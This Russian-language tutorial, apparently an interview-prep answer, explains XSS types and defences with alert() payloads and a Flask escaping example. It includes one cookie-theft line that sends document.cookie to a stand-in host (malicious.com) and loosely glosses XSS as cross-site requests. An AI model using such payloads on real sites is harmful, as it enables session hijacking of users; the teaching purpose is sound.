Что такое XSS. Примеры. Как защитить приложение

XSS – межсайтовые запросы. Страница, подверженная уязвимости, вынуждает пользователя выполнить запрос к другой странице, либо запустить нежелательный js-код.

Например, пользователь отправил комментарий, в котором был код:

<script>alert('foo');</script>

Движок сайта не фильтрует текст комментария, поэтому тег <script> становится частью страницы и исполняется браузером. Каждый, кто зайдет на страницу с опасным комментарием, увидит всплывающее окно с тестом foo.

Другой пример:
Страница поиска принимает поисковой терм q. В заголовке фраза “Результат поиска по запросу” + текст параметра. Если не экранировать параметр, то запрос /search?q=<script>alert('foo');</script> приведет к аналогичному результату.

Зная, что страница выполняет js-код, хакер может подгрузить на страницу контекстную рекламу, баннеры, заставить браузер перейти на любую страницу, похитить куки.

Уязвимость устраняется экранированием небезопасных символов, чисткой (санацией) HTML-тегов.

Oct. 12, 2023, Источник

XSS (Cross-Site Scripting) — это вид атаки на веб-приложения, при котором злоумышленник внедряет вредоносные скрипты в контент веб-страниц, просматриваемых другими пользователями. Эти скрипты выполняются в браузере жертвы от имени веб-приложения, что может привести к краже учетных данных, сессий, изменению веб-страниц и другим безопасностным угрозам.

1. Отраженный XSS (Reflected XSS): Злоумышленник отправляет жертве ссылку с вредоносным кодом в параметрах запроса. Когда жертва переходит по ссылке, вредоносный код отражается от сервера в ответе и выполняется в браузере.

   Пример ссылки: `http://example.com/search?query=<script>alert('XSS')</script>`

2. Сохраненный XSS (Stored XSS): Вредоносный скрипт сохраняется на сервере (например, в базе данных) и возвращается и выполняется в браузере каждого, кто просматривает зараженный контент. Это может произойти, если злоумышленник добавляет скрипт в комментарии на форуме, который не фильтрует вредоносный код.

   Пример комментария: `<script>alert('XSS')</script>`

3. DOM-based XSS: Этот тип XSS происходит, когда вредоносный скрипт изменяет DOM (структуру документа) веб-страницы с помощью клиентского, не отправляя вредоносный код на сервер.

   Пример: `document.location.href = 'http://malicious.com/?cookie=' + document.cookie;`

Защита от XSS:

1. Экранирование ввода пользователя: Преобразование специальных символов (например, `<`, `>`, `&`, `"` и `'`) в их HTML-энтити (например, `&lt;`, `&gt;`, `&amp;`, `&quot;` и `&#x27;`) при отображении их на веб-странице. Это предотвращает интерпретацию введенных данных как часть HTML или JavaScript.

2. Использование Content Security Policy (CSP): Позволяет веб-приложениям указывать, какие источники контента разрешены для загрузки и выполнения, что помогает предотвратить выполнение вредоносных скриптов.

3. Валидация и санитизация данных: Строгая проверка вводимых данных на соответствие ожидаемому формату и очистка данных от потенциально опасных элементов перед их обработкой или сохранением.

4. Использование автоматических инструментов защиты: Фреймворки и библиотеки часто предлагают встроенные механизмы для защиты от XSS, такие как автоматическое экранирование вывода.

from flask import Flask, request, escape

app = Flask(__name__)

@app.route('/search')
def search():
    query = request.args.get('query', '')
    # Экранирование строки запроса для безопасного отображения
    safe_query = escape(query)
    return f'Результаты поиска для: {safe_query}'

if __name__ == '__main__':
    app.run()

В этом примере, используя функцию `escape` из Flask, мы экранируем пользовательский ввод, чтобы предотвратить выполнение вредоносного кода, который мог бы быть встроен в запрос.

XSS — это серьезная угроза безопасности веб-приложений, позволяющая злоумышленникам выполнять вредоносные скрипты в браузерах пользователей. Для защиты от XSS необходимо экранировать ввод пользователя, использовать CSP, проводить валидацию и санитизацию данных, а также применять встроенные средства защиты веб-фреймворков.

XSS — это когда плохие люди вставляют в сайты вредоносные программы, чтобы украсть ваши данные или сделать что-то плохое. Защититься можно, делая специальные проверки данных, которые люди вводят на сайт, и не позволяя этим программам запускаться.

Feb. 25, 2024, easyoffer

Примеры ответов: